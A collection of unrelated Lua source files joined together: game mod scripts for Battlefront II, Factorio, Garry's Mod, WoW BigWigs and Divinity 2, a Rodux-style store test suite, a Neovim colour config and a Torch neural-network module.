SetClassProperty(gth_inf_trooper, "MaxSpeed", "3.69")
SetClassProperty(gth_inf_trooper, "MaxStrafeSpeed", "3.69")
SetClassProperty(gth_inf_rocketeer, "MaxHealth", 250*enemyDefenseBuff)
SetClassProperty(gth_inf_rocketeer, "MaxShields", 480*enemyDefenseBuff)
SetClassProperty(gth_inf_rocketeer, "MaxSpeed", "3.69")
SetClassProperty(gth_inf_rocketeer, "MaxStrafeSpeed", "3.69")
SetClassProperty(gth_inf_sniper, "MaxHealth", 230*enemyDefenseBuff)
SetClassProperty(gth_inf_sniper, "MaxShields", 500*enemyDefenseBuff)
SetClassProperty(gth_inf_sniper, "MaxSpeed", "3.69")
SetClassProperty(gth_inf_sniper, "MaxStrafeSpeed", "3.69")
SetClassProperty(gth_inf_machinist, "MaxHealth", 230*enemyDefenseBuff)
SetClassProperty(gth_inf_machinist, "MaxShields", 660*enemyDefenseBuff)
SetClassProperty(gth_inf_machinist, "MaxSpeed", "3.69")
SetClassProperty(gth_inf_machinist, "MaxStrafeSpeed", "3.69")
SetClassProperty(gth_inf_shock, "MaxHealth", 400*enemyDefenseBuff)
SetClassProperty(gth_inf_shock, "MaxShields", 550*enemyDefenseBuff)
SetClassProperty(gth_inf_shock, "MaxSpeed", "3.105")
SetClassProperty(gth_inf_shock, "MaxStrafeSpeed", "3.105")
SetClassProperty(gth_inf_hunter, "MaxHealth", 300*enemyDefenseBuff)
SetClassProperty(gth_inf_hunter, "MaxShields", 720*enemyDefenseBuff)
SetClassProperty(gth_inf_hunter, "MaxSpeed", "3.15")
SetClassProperty(gth_inf_hunter, "MaxStrafeSpeed", "3.15")
SetClassProperty(gth_inf_destroyer, "MaxHealth", 700*enemyDefenseBuff)
SetClassProperty(gth_inf_destroyer, "MaxShields", 720*enemyDefenseBuff)
SetClassProperty(gth_inf_destroyer, "MaxSpeed", "2.295")
SetClassProperty(gth_inf_destroyer, "MaxStrafeSpeed", "2.295")
SetClassProperty(gth_inf_juggernaut, "MaxHealth", 900*enemyDefenseBuff)
SetClassProperty(gth_inf_juggernaut, "MaxShields", 840*enemyDefenseBuff)
SetClassProperty(gth_inf_juggernaut, "MaxSpeed", "2.16")
SetClassProperty(gth_inf_juggernaut, "MaxStrafeSpeed", "2.16")
SetClassProperty(gth_inf_prime, "MaxHealth", 2500*bossDefenseBuff)
SetClassProperty(gth_inf_prime, "MaxShields", 3000*bossDefenseBuff)
SetClassProperty(gth_inf_prime, "MaxSpeed", "2.20")
SetClassProperty(gth_inf_prime, "MaxStrafeSpeed", "2.20")
ScriptCB_SetGameRules("campaign")
onfirstspawn = OnCharacterSpawn(
function(character)
if IsCharacterHuman(character) then
ReleaseCharacterSpawn(onfirstspawn)
onfirstspawn = nil
ObjStart_timer = CreateTimer("ObjStart_timer")
SetTimerValue(ObjStart_timer, 1)
StartTimer(ObjStart_timer)
CountDown = OnTimerElapse(
function()
BeginObjectives()
ReleaseTimerElapse(CountDown)
end,
ObjStart_timer
)
end
end)
--==========================
-- CAPTURE THE BEACH
--==========================
--sets objective
Objective1CP = CommandPost:New{name = "beach_cp"}
Objective1 = ObjectiveConquest:New{teamATT = ATT, teamDEF = DEF, text = "level.aei.objectives.1", popupText = "level.aei.objectives.1_popup"}
Objective1:AddCommandPost(Objective1CP)
--tells what happens on start of your objective
Objective1.OnStart = function(self)
--sets AI-goal
Ambush("squad_spawn", 10, SQD)
Ambush("geth_beach_spawn", 16, GethPawns)
AICanCaptureCP("beach_cp", SQD, false)
AIGoalSQD = AddAIGoal(SQD, "Defend", 100, "beach_cp")
AIGoalGethPawns = AddAIGoal(GethPawns, "Defend", 10, "beach_cp")
MapAddEntityMarker("beach_cp", "hud_objective_icon", 3.0, 1, "YELLOW", true)
end
-- says what happens after the objective is complete
Objective1.OnComplete = function(self)
DeleteAIGoal(AIGoalSQD)
MapRemoveEntityMarker("beach_cp")
SetProperty("beach_cp", "CaptureRegion", "")
ShowMessageText("game.objectives.complete", ATT)
end
function BeginObjectives()
objectiveSequence = MultiObjectiveContainer:New{delayVictoryTime = 2.0}
objectiveSequence:AddObjectiveSet(Objective1)
objectiveSequence:Start()
end
end
---------------------------------------------------------------------------
-- FUNCTION: ScriptInit
-- PURPOSE: This function is only run once
-- INPUT:
-- OUTPUT:
-- NOTES: The name, 'ScriptInit' is a chosen convention, and each
-- mission script must contain a version of this function, as
-- it is called from C to start the mission.
---------------------------------------------------------------------------
function ScriptInit()
--ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\Load\\eur.lvl")
SetMemoryPoolSize("ParticleTransformer::ColorTrans", 2188)
SetMemoryPoolSize("ParticleTransformer::PositionTr", 1293)
SetMemoryPoolSize("ParticleTransformer::SizeTransf", 1409)
PreLoadStuff()
-- Player's squad's aggressiveness
SetTeamAggressiveness(3, (squadAggro))
-- The enemies' aggressiveness
SetTeamAggressiveness(2, (enemyAggro))
SetTeamAggressiveness(4, (enemyAggro))
SetTeamAggressiveness(5, (enemyAggro))
SetTeamAggressiveness(6, (enemyAggro))
SetTeamAggressiveness(7, (enemyAggro))
SetMinFlyHeight(-300)
SetMinPlayerFlyHeight(-300)
SetMaxFlyHeight(300)
SetMaxPlayerFlyHeight(300)
AISnipeSuitabilityDist(40)
SetAttackerSnipeRange(35)
SetDefenderSnipeRange(45)
--
-- Sides setup begin
--
LoadSSV(true)
LoadGTH()
SetupTeams{
-- Player classes
rep = {
team = REP,
units = 1,
reinforcements = playerLives,
soldier = { "ssv_inf_cooper_soldier",0, 1},
sniper = { "ssv_inf_cooper_infiltrator",0, 1},
adept = { "ssv_inf_cooper_adept",0, 1},
engineer = { "ssv_inf_cooper_engineer",0, 1},
sentinel = { "ssv_inf_cooper_sentinel",0, 1},
vanguard = { "ssv_inf_cooper_vanguard",0, 1},
},
-- Player squad team classes
sqd = {
team = SQD,
units = 10,
reinforcements = -1,
soldier = { ssv_inf_soldier,4},
sniper = { ssv_inf_infiltrator,1},
adept = { ssv_inf_adept,1},
engineer = { ssv_inf_engineer,2},
sentinel = { ssv_inf_sentinel,1},
vanguard = { ssv_inf_vanguard,1},
},
-- Geth classes
--[[husks = {
team = GethHusks,
units = 100,
reinforcements = -1,
soldier = { "indoc_inf_husk",9, 12},
},]]
pawns = {
team = GethPawns,
units = 16,
reinforcements = -1,
soldier = { gth_inf_trooper,7}, -- 9, 12
rocketeer = { gth_inf_rocketeer,3}, -- 5, 8
sniper = { gth_inf_sniper,5}, -- 9, 16
hunter = { gth_inf_hunter,1}, -- 7, 14
},
tacticals = {
team = GethTacticals,
units = 100,
reinforcements = -1,
sniper = { gth_inf_sniper,9, 60}, -- 9, 16
hunter = { gth_inf_hunter,7, 60}, -- 7, 14
},
specials = {
team = GethSpecials,
units = 100,
reinforcements = -1,
engineer = { gth_inf_machinist,5, 60}, -- 5, 12
shock = { gth_inf_shock,7, 60}, -- 7, 15
},
heavys = {
team = GethHeavys,
units = 100,
reinforcements = -1,
destroyer = { gth_inf_destroyer,7, 60}, -- 7, 14
juggernaut = { gth_inf_juggernaut,5, 60}, -- 5, 12
},
primes = {
team = GethPrimes,
units = 100,
reinforcements = -1,
prime = { gth_inf_prime,2, 2}, -- 2, 2
}
}
SetTeamName(SQD, "rep")
-- Team relationships
SetTeamAsFriend(REP, SQD)
SetTeamAsFriend(SQD, REP)
-- SetTeamAsFriend(GethHusks, GethPawns)
-- SetTeamAsFriend(GethHusks, GethTacticals)
-- SetTeamAsFriend(GethHusks, GethSpecials)
-- SetTeamAsFriend(GethHusks, GethHeavys)
-- SetTeamAsFriend(GethHusks, GethPrimes)
-- SetTeamAsFriend(GethPawns, GethHusks)
SetTeamAsFriend(GethPawns, GethTacticals)
SetTeamAsFriend(GethPawns, GethSpecials)
SetTeamAsFriend(GethPawns, GethHeavys)
SetTeamAsFriend(GethPawns, GethPrimes)
-- SetTeamAsFriend(GethTacticals, GethHusks)
SetTeamAsFriend(GethTacticals, GethPawns)
SetTeamAsFriend(GethTacticals, GethSpecials)
SetTeamAsFriend(GethTacticals, GethHeavys)
SetTeamAsFriend(GethTacticals, GethPrimes)
-- SetTeamAsFriend(GethSpecials, GethHusks)
SetTeamAsFriend(GethSpecials, GethPawns)
SetTeamAsFriend(GethSpecials, GethTacticals)
SetTeamAsFriend(GethSpecials, GethHeavys)
SetTeamAsFriend(GethSpecials, GethPrimes)
-- SetTeamAsFriend(GethHeavys, GethHusks)
SetTeamAsFriend(GethHeavys, GethPawns)
SetTeamAsFriend(GethHeavys, GethTacticals)
SetTeamAsFriend(GethHeavys, GethSpecials)
SetTeamAsFriend(GethHeavys, GethPrimes)
-- SetTeamAsFriend(GethPrimes, GethHusks)
SetTeamAsFriend(GethPrimes, GethPawns)
SetTeamAsFriend(GethPrimes, GethTacticals)
SetTeamAsFriend(GethPrimes, GethSpecials)
SetTeamAsFriend(GethPrimes, GethHeavys)
-- SetTeamAsEnemy(REP, GethHusks)
SetTeamAsEnemy(REP, GethPawns)
SetTeamAsEnemy(REP, GethTacticals)
SetTeamAsEnemy(REP, GethSpecials)
SetTeamAsEnemy(REP, GethHeavys)
SetTeamAsEnemy(REP, GethPrimes)
-- SetTeamAsEnemy(SQD, GethHusks)
SetTeamAsEnemy(SQD, GethPawns)
SetTeamAsEnemy(SQD, GethTacticals)
SetTeamAsEnemy(SQD, GethSpecials)
SetTeamAsEnemy(SQD, GethHeavys)
SetTeamAsEnemy(SQD, GethPrimes)
-- SetTeamAsEnemy(GethHusks, REP)
-- SetTeamAsEnemy(GethHusks, SQD)
SetTeamAsEnemy(GethPawns, REP)
SetTeamAsEnemy(GethPawns, SQD)
SetTeamAsEnemy(GethTacticals, REP)
SetTeamAsEnemy(GethTacticals, SQD)
SetTeamAsEnemy(GethSpecials, REP)
SetTeamAsEnemy(GethSpecials, SQD)
SetTeamAsEnemy(GethHeavys, REP)
SetTeamAsEnemy(GethHeavys, SQD)
SetTeamAsEnemy(GethPrimes, REP)
SetTeamAsEnemy(GethPrimes, SQD)
--
-- Sides setup end
--
-- Level Stats
-- ClearWalkers()
AddWalkerType(0, 0) -- special -> droidekas
AddWalkerType(1, 0) -- 1x2 (1 pair of legs)
AddWalkerType(2, 0) -- 2x2 (2 pairs of legs)
AddWalkerType(3, 0) -- 3x2 (3 pairs of legs)
local weaponCnt = 1024
SetMemoryPoolSize("Aimer", 75)
SetMemoryPoolSize("AmmoCounter", weaponCnt)
SetMemoryPoolSize("BaseHint", 1217)
SetMemoryPoolSize("EnergyBar", weaponCnt)
SetMemoryPoolSize("EntityCloth", 0)
SetMemoryPoolSize("EntityFlyer", 32)
SetMemoryPoolSize("EntityHover", 32)
SetMemoryPoolSize("EntityLight", 200)
SetMemoryPoolSize("EntitySoundStream", 64)
SetMemoryPoolSize("EntitySoundStatic", 64)
SetMemoryPoolSize("FLEffectObject::OffsetMatrix", 87)
SetMemoryPoolSize("Music", 89)
SetMemoryPoolSize("Navigator", 128)
SetMemoryPoolSize("Obstacle", 1024)
SetMemoryPoolSize("PathNode", 1024)
SetMemoryPoolSize("SoldierAnimation", 410)
SetMemoryPoolSize("SoundSpaceRegion", 100)
SetMemoryPoolSize("TreeGridStack", 1024)
SetMemoryPoolSize("UnitAgent", 128)
SetMemoryPoolSize("UnitController", 128)
SetMemoryPoolSize("Weapon", weaponCnt)
manager:Proc_ScriptInit_MemoryPoolInit()
SetSpawnDelay(10.0, 0.25)
ReadDataFile("dc:AEI\\AEI.lvl", "AEI_campaign")
SetDenseEnvironment("true")
--AddDeathRegion("deathregion")
-- Sound
--ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl")
--musicStream = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_music_EUR")
--stingerStream = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_stingers_EUR")
--AudioStreamAppendSegments("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_music_EUR", stingerStream)
--AudioStreamAppendSegments("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_stingers_EUR", musicStream)
--ambientStream1 = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_ambiance")
--ambientStream2 = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_ambiance")
--AudioStreamAppendSegments("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_prop_ambiance", ambientStream)
--OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_ambiance")
SetVictoryMusic(REP, "eur_amb_01_victory")
SetDefeatMusic (REP, "eur_amb_01_defeat")
SetVictoryMusic(CIS, "eur_amb_01_victory")
SetDefeatMusic (CIS, "eur_amb_01_defeat")
SetAttackingTeam(ATT)
SoundFX()
--ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl")
-- Opening satellite shots
AddCameraShot(-0.461276, -0.061869, -0.877234, 0.117716, -51.108570, 127.905670, 150.074707);
PostLoadStuff()
end
|
return function()
local Store = require(script.Parent.Store)
describe("new", function()
it("should instantiate with a reducer", function()
local store = Store.new(function(state, action)
return "hello, world"
end)
expect(store).to.be.ok()
expect(store:getState()).to.equal("hello, world")
store:destruct()
end)
it("should instantiate with a reducer and an initial state", function()
local store = Store.new(function(state, action)
return state
end, "initial state")
expect(store).to.be.ok()
expect(store:getState()).to.equal("initial state")
store:destruct()
end)
it("should instantiate with a reducer, initial state, and middlewares", function()
local store = Store.new(function(state, action)
return state
end, "initial state", {})
expect(store).to.be.ok()
expect(store:getState()).to.equal("initial state")
store:destruct()
end)
it("should modify the dispatch method when middlewares are passed", function()
local middlewareInstantiateCount = 0
local middlewareInvokeCount = 0
local passedDispatch
local passedStore
local passedAction
local function reducer(state, action)
if action.type == "test" then
return "test state"
end
return state
end
local function testMiddleware(nextDispatch, store)
middlewareInstantiateCount = middlewareInstantiateCount + 1
passedDispatch = nextDispatch
passedStore = store
return function(action)
middlewareInvokeCount = middlewareInvokeCount + 1
passedAction = action
nextDispatch(action)
end
end
local store = Store.new(reducer, "initial state", { testMiddleware })
expect(middlewareInstantiateCount).to.equal(1)
expect(middlewareInvokeCount).to.equal(0)
expect(passedDispatch).to.be.a("function")
expect(passedStore).to.equal(store)
store:dispatch({
type = "test",
})
expect(middlewareInstantiateCount).to.equal(1)
expect(middlewareInvokeCount).to.equal(1)
expect(passedAction.type).to.equal("test")
store:flush()
expect(store:getState()).to.equal("test state")
store:destruct()
end)
it("should execute middleware left-to-right", function()
local events = {}
local function reducer(state)
return state
end
local function middlewareA(nextDispatch, store)
table.insert(events, "instantiate a")
return function(action)
table.insert(events, "execute a")
return nextDispatch(action)
end
end
local function middlewareB(nextDispatch, store)
table.insert(events, "instantiate b")
return function(action)
table.insert(events, "execute b")
return nextDispatch(action)
end
end
local store = Store.new(reducer, 5, { middlewareA, middlewareB })
expect(#events).to.equal(2)
expect(events[1]).to.equal("instantiate b")
expect(events[2]).to.equal("instantiate a")
store:dispatch({
type = "test",
})
expect(#events).to.equal(4)
expect(events[3]).to.equal("execute a")
expect(events[4]).to.equal("execute b")
end)
it("should send an initial action with a 'type' field", function()
local lastAction
local callCount = 0
local store = Store.new(function(state, action)
lastAction = action
callCount = callCount + 1
return state
end)
expect(callCount).to.equal(1)
expect(lastAction).to.be.a("table")
expect(lastAction.type).to.be.ok()
store:destruct()
end)
end)
describe("getState", function()
it("should get the current state", function()
local store = Store.new(function(state, action)
return "foo"
end)
local state = store:getState()
expect(state).to.equal("foo")
store:destruct()
end)
end)
describe("dispatch", function()
it("should be sent through the reducer", function()
local store = Store.new(function(state, action)
state = state or "foo"
if action.type == "act" then
return "bar"
end
return state
end)
expect(store).to.be.ok()
expect(store:getState()).to.equal("foo")
store:dispatch({
type = "act",
})
store:flush()
expect(store:getState()).to.equal("bar")
store:destruct()
end)
it("should trigger the changed event after a flush", function()
local store = Store.new(function(state, action)
state = state or 0
if action.type == "increment" then
return state + 1
end
return state
end)
local callCount = 0
store.changed:connect(function(state, oldState)
expect(oldState).to.equal(0)
expect(state).to.equal(1)
callCount = callCount + 1
end)
store:dispatch({
type = "increment",
})
store:flush()
expect(callCount).to.equal(1)
store:destruct()
end)
it("should handle actions dispatched within the changed event", function()
local store = Store.new(function(state, action)
state = state or {
value = 0,
}
if action.type == "increment" then
return {
value = state.value + 1,
}
elseif action.type == "decrement" then
return {
value = state.value - 1,
}
end
return state
end)
local changeCount = 0
store.changed:connect(function(state, oldState)
expect(state).never.to.equal(oldState)
if state.value > 0 then
store:dispatch({
type = "decrement",
})
end
changeCount = changeCount + 1
end)
store:dispatch({
type = "increment",
})
store:flush()
store:flush()
expect(changeCount).to.equal(2)
store:destruct()
end)
it("should prevent yielding from changed handler", function()
local preCount = 0
local postCount = 0
local store = Store.new(function(state, action)
state = state or 0
return state + 1
end)
store.changed:connect(function(state, oldState)
preCount = preCount + 1
wait()
postCount = postCount + 1
end)
store:dispatch({
type = "increment",
})
expect(function()
store:flush()
end).to.throw()
expect(preCount).to.equal(1)
expect(postCount).to.equal(0)
store:destruct()
end)
it("should throw if an action is dispatched without a type field", function()
local store = Store.new(function(state, action)
return state
end)
expect(function()
store:dispatch({})
end).to.throw()
store:destruct()
end)
it("should throw if the action is not a function or table", function()
local store = Store.new(function(state, action)
return state
end)
expect(function()
store:dispatch(1)
end).to.throw()
store:destruct()
end)
end)
describe("flush", function()
it("should not fire a changed event if there were no dispatches", function()
local store = Store.new(function()
end)
local count = 0
store.changed:connect(function()
count = count + 1
end)
store:flush()
expect(count).to.equal(0)
store:dispatch({
type = "increment",
})
store:flush()
expect(count).to.equal(1)
store:flush()
expect(count).to.equal(1)
store:destruct()
end)
end)
end
|
--------------------------------------------------------------------------------
-- Module declaration
--
local mod, CL = BigWigs:NewBoss("Echo of Jaina", 938, 285)
if not mod then return end
mod:RegisterEnableMob(54445)
mod.engageId = 1883
mod.respawnTime = 30
--------------------------------------------------------------------------------
-- Localization
--
local L = mod:GetLocale()
if L then
end
--------------------------------------------------------------------------------
-- Initialization
--
-- XXX revise this module
function mod:GetOptions()
return {
-3641, -- Blink
}
end
function mod:OnBossEnable()
end
function mod:OnEngage()
end
--------------------------------------------------------------------------------
-- Event Handlers
--
|
--[[
© 2013 GmodLive private project do not share
without permission of its author (Andrew Mensky vk.com/men232).
--]]
local ATTRIBUTE = gc.attribute:New();
ATTRIBUTE.name = "Уровень";
ATTRIBUTE.maximum = 75;
ATTRIBUTE.uniqueID = "lvl";
ATTRIBUTE.description = "Этот атрибут отображает твой навык игры. Чем лучше ты\nсправляешься с различными ситуациями и профессиональными\nобязанностями, тем выше уроень.\n\nВлияет на доступ к важным профессиям..";
ATTRIBUTE.isOnCharScreen = true;
ATTRIBUTE.isShared = true;
ATTRIBUTE.default = 1;
ATB_LEVEL = gc.attribute:Register(ATTRIBUTE);
|
--==============================================================================--
--COLOR SCHEME--
--==============================================================================--
vim.cmd([[
"Credit joshdick
"Use 24-bit (true-color) mode in Vim/Neovim when outside tmux.
"If you're using tmux version 2.2 or later, you can remove the outermost $TMUX check and use tmux's 24-bit color support
"(see < http://sunaku.github.io/tmux-24bit-color.html#usage > for more information.)
if (empty($TMUX))
if (has("nvim"))
"For Neovim 0.1.3 and 0.1.4 < https://github.com/neovim/neovim/pull/2198 >
let $NVIM_TUI_ENABLE_TRUE_COLOR=1
endif
"For Neovim > 0.1.5 and Vim > patch 7.4.1799 < https://github.com/vim/vim/commit/61be73bb0f965a895bfb064ea3e55476ac175162 >
"Based on Vim patch 7.4.1770 (`guicolors` option) < https://github.com/vim/vim/commit/8a633e3427b47286869aa4b96f2bfc1fe65b25cd >
" < https://github.com/neovim/neovim/wiki/Following-HEAD#20160511 >
if (has("termguicolors"))
set termguicolors
endif
endif
set background=dark
let g:one_allow_italics = 1
colorscheme one
" Customize vim-one color scheme background color
" one#highlight(group, fg, bg, attribute)
call one#highlight('Normal', '', '22262E', 'none')
call one#highlight('Conceal', '', '22262E', '')
call one#highlight('ErrorMsg', '', '22262E', '')
call one#highlight('Folded', '', '22262E', '')
call one#highlight('PMenuSbar', '', '22262E', '')
call one#highlight('Search', '22262E', '', '')
call one#highlight('TabLineSel', '22262E', '', '')
call one#highlight('SignColumn', '', '22262E', '')
call one#highlight('Error', '', '22262E', '')
call one#highlight('Todo', '', '22262E', '')
call one#highlight('SpellBad', '', '22262E', '')
call one#highlight('SpellLocal', '', '22262E', '')
call one#highlight('SpellCap', '', '22262E', '')
call one#highlight('SpellRare', '', '22262E', '')
]])
|
local Euclidean, parent = torch.class('nn.Euclidean', 'nn.Module')
function Euclidean:__init(inputSize,outputSize)
parent.__init(self)
self.weight = torch.Tensor(inputSize,outputSize)
self.gradWeight = torch.Tensor(inputSize,outputSize)
-- state
self.gradInput:resize(inputSize)
self.output:resize(outputSize)
self.temp = torch.Tensor(inputSize)
self:reset()
end
function Euclidean:reset(stdv)
if stdv then
stdv = stdv * math.sqrt(3)
else
stdv = 1./math.sqrt(self.weight:size(1))
end
if nn.oldSeed then
for i=1,self.weight:size(2) do
self.weight:select(2, i):apply(function()
return torch.uniform(-stdv, stdv)
end)
end
else
self.weight:uniform(-stdv, stdv)
end
end
function Euclidean:updateOutput(input)
self.output:zero()
for o = 1,self.weight:size(2) do
self.output[o] = input:dist(self.weight:select(2,o))
end
return self.output
end
function Euclidean:updateGradInput(input, gradOutput)
self:updateOutput(input)
if self.gradInput then
self.gradInput:zero()
for o = 1,self.weight:size(2) do
if self.output[o] ~= 0 then
self.temp:copy(input):add(-1,self.weight:select(2,o))
self.temp:mul(gradOutput[o]/self.output[o])
self.gradInput:add(self.temp)
end
end
return self.gradInput
end
end
function Euclidean:accGradParameters(input, gradOutput, scale)
self:updateOutput(input)
scale = scale or 1
for o = 1,self.weight:size(2) do
if self.output[o] ~= 0 then
self.temp:copy(self.weight:select(2,o)):add(-1,input)
self.temp:mul(gradOutput[o]/self.output[o])
self.gradWeight:select(2,o):add(self.temp)
end
end
end
|
require "defines"
require "util"
script.on_configuration_changed(function(data)
if data.mod_changes ~= nil and data.mod_changes["KS_Power"] ~= nil and data.mod_changes["KS_Power"].old_version == nil then
local s = game.surfaces["nauvis"]
find_generators(s)
for k, f in pairs (game.forces) do
f.reset_recipes()
end
end
end)
script.on_event(defines.events.on_tick, function(event)
check_generators()
end)
function check_generators()
if global.petroleum_generator ~= nil then
for k,gen in pairs(global.petroleum_generator) do
--if k % 10 == game.tick % 10 then
if gen.valid then
if gen.fluidbox[1] ~= nil then
local pot = gen.fluidbox[1]
local p = gen.position
if pot.type == "petroleum-gas" then
pot["temperature"] = 80
gen.surface.pollute({p.x, p.y}, 0.8/60)
elseif pot.type == "light-oil" then
pot["temperature"] = 100
gen.surface.pollute({p.x, p.y}, 1/60)
elseif pot.type == "diesel-fuel" then
pot["temperature"] = 100
gen.surface.pollute({p.x, p.y}, 1.2/60)
elseif pot.type == "heavy-oil" then
pot["temperature"] = 60
gen.surface.pollute({p.x, p.y}, 0.6/60)
else pot["temperature"] = 15 end
gen.fluidbox[1] = pot
end
else table.remove(global.petroleum_generator, k)
--end
end
end
end
end
function BuiltEntity(event)
if event.created_entity.name == "petroleum-generator-2" then
if global.petroleum_generator == nil then global.petroleum_generator = {} end
local petroleum_generator = event.created_entity
if global.petroleum_generator == nil
then global.petroleum_generator = {}
end
table.insert(global.petroleum_generator, petroleum_generator)
end
end
script.on_event(defines.events.on_built_entity, BuiltEntity)
script.on_event(defines.events.on_robot_built_entity, BuiltEntity)
|
Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Save_Character.lua")
Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Load_Character.lua")
Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Save_Items.lua")
Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Load_Items.lua")
---- Helper functions ---
function Civil()
local civil = {
"Telekinesis",
"Thievery",
"Sneaking",
"Persuasion",
"Luck",
"Barter",
"Loremaster"}
return civil
end
function Abilities()
local abilities = {
"AirSpecialist",
"Brewmaster",
"Charm",
"Crafting",
"DualWielding",
"EarthSpecialist",
"FireSpecialist",
"Intimidate",
"Leadership",
"MagicArmorMastery",
"Necromancy",
"Perseverance",
"PhysicalArmorMastery",
"Pickpocket",
"Polymorph",
"Ranged",
"RangerLore",
"Reason",
"Reflexes",
"Repair",
"RogueLore",
"Runecrafting",
"Shield",
"SingleHanded",
"Sourcery",
"Summoning",
"TwoHanded",
"VitalityMastery",
"Wand",
"WarriorLore",
"WaterSpecialist"
}
return abilities
end
function Talents()
local talents = {
"Throwing",
"WandCharge",
"Vitality",
"FolkDancer",
"Criticals",
"IncreasedArmor",
"Politician",
"Lockpick",
"Trade",
"Damage",
"MrKnowItAll",
"AvoidDetection",
"EarthSpells",
"AirSpells",
"WaterSpells",
"FireSpells",
"Luck",
"Charm",
"ExpGain",
"ItemCreation",
"ItemMovement",
"ResistSilence",
"ResistStun",
"ResistKnockdown",
"ResistFear",
"ActionPoints2",
"ActionPoints",
"ChanceToHitMelee",
"Repair",
"ChanceToHitRanged",
"Backstab",
"RogueLoreGrenadePrecision",
"RogueLoreHoldResistance",
"RogueLoreMovementBonus",
"RogueLoreDaggerBackStab",
"RogueLoreDaggerAPBonus",
"Kickstarter",
"InventoryAccess",
"Initiative",
"Awareness",
"Reason",
"Intimidate",
"ResistPoison",
"Sight",
"RangerLoreRangedAPBonus",
"RangerLoreEvasionBonus",
"WarriorLoreNaturalResistance",
"WarriorLoreNaturalArmor",
"SpillNoBlood",
"GoldenMage",
"Courageous",
"WeatherProof",
"LightningRod",
"Bully",
"Scientist",
"LightStep",
"StandYourGround",
"Durability",
"Carry",
"ResurrectExtraHealth",
"AnimalEmpathy",
"ExtraSkillPoints",
"ExtraStatPoints",
"Escapist",
"ElementalAffinity",
"ResurrectToFullHealth",
"LoneWolf",
"Raistlin",
"WhatARush",
"FaroutDude",
"Leech",
"FiveStarRestaurant",
"SurpriseAttack",
"Demon",
"IceKing",
"WalkItOff",
"Stench",
"QuickStep",
"ElementalRanger",
"RangerLoreArrowRecover",
"NoAttackOfOpportunity",
"WarriorLoreGrenadeRange",
"WarriorLoreNaturalHealth",
"AttackOfOpportunity",
"Zombie",
"Unstable",
"Ambidextrous",
"Torturer",
"LivingArmor",
"Executioner",
"DualWieldingDodging",
"ResistDead",
"Memory",
"NaturalConductor",
"Flanking",
"Perfectionist",
"ViolentMagic",
"Human_Inventive",
"Human_Civil",
"Dwarf_Sneaking",
"Dwarf_Sturdy",
"Elf_CorpseEating",
"Elf_Lore",
"Lizard_Persuasion",
"Lizard_Resistance",
"Quest_SpidersKiss_Str",
"Quest_SpidersKiss_Int",
"Quest_SpidersKiss_Per",
"Quest_SpidersKiss_Null",
"Quest_TradeSecrets",
"Quest_GhostTree",
"Quest_Rooted",
"PainDrinker",
"DeathfogResistant",
"Sourcerer",
"Rager",
"Elementalist",
"Sadist",
"Haymaker",
"Gladiator",
"Indomitable",
"WildMag",
"Jitterbug",
"Soulcatcher",
"MasterThief",
"GreedyVessel",
"MagicCycles"
}
return talents
end
function ItemBoosts()
local boosts = {
"Durability",
"DurabilityDegradeSpeed",
"StrengthBoost",
"FinesseBoost",
"IntelligenceBoost",
"ConstitutionBoost",
"Memory",
"WitsBoost",
"SightBoost",
"HearingBoost",
"VitalityBoost",
"SourcePointsBoost",
"MaxAP",
"StartAP",
"APRecovery",
"AccuracyBoost",
"LifeSteal",
"CriticalChance",
"ChanceToHitBoost",
"MovementSpeedBoost",
"RuneSlots",
"RuneSlots_V1",
"FireResistance",
"AirResistance",
"WaterResistance",
"EarthResistance",
"PoisonResistance",
"TenebriumResistance",
"PiercingResistance",
"CorrosiveResistance",
"PhysicalResistance",
"MagicResistance",
"CustomResistance",
"Movement",
"Initiative",
"Willpower",
"Bodybuilding",
"MaxSummons",
"Value",
"Weight",
"DamageType",
"MinDamage",
"MaxDamage",
"DamageBoost",
"DamageFromBase",
"CriticalDamage",
"WeaponRange",
"CleaveAngle",
"CleavePercentage",
"AttackAPCost",
"ArmorValue",
"ArmorBoost",
"MagicArmorValue",
"MagicArmorBoost",
"Blocking"
}
return boosts
end
function SplitString(str, sep)
local t={}
if str ~= nil then
for s in string.gmatch(str, "([^"..sep.."]+)") do
table.insert(t, s)
end
end
return t
end
Ext.NewQuery(InitSavingInventory, "LX_EXT_InitSavingInventory", "(CHARACTERGUID)_Character");
Ext.NewCall(ParseInventoryForContainers, "LX_EXT_CheckInventory", "(GUIDSTRING)_Holder");
--Ext.NewQuery(UnequipCharacter, "LX_EXT_UnequipCharacter", "(CHARACTERGUID)_Character");
Ext.NewCall(StoreHolderItem, "LX_EXT_StoreHolderItem", "(GUIDSTRING)_Holder, (ITEMGUID)_Item");
Ext.NewCall(SavingInventoryStringManagement, "LX_EXT_SaveInventory", "(CHARACTERGUID)_Character");
Ext.NewCall(SaveCharacterData, "LX_EXT_SaveCharacterData", "(CHARACTERGUID)_Character, (STRING)_Name, (CHARACTERGUID)_TempChar");
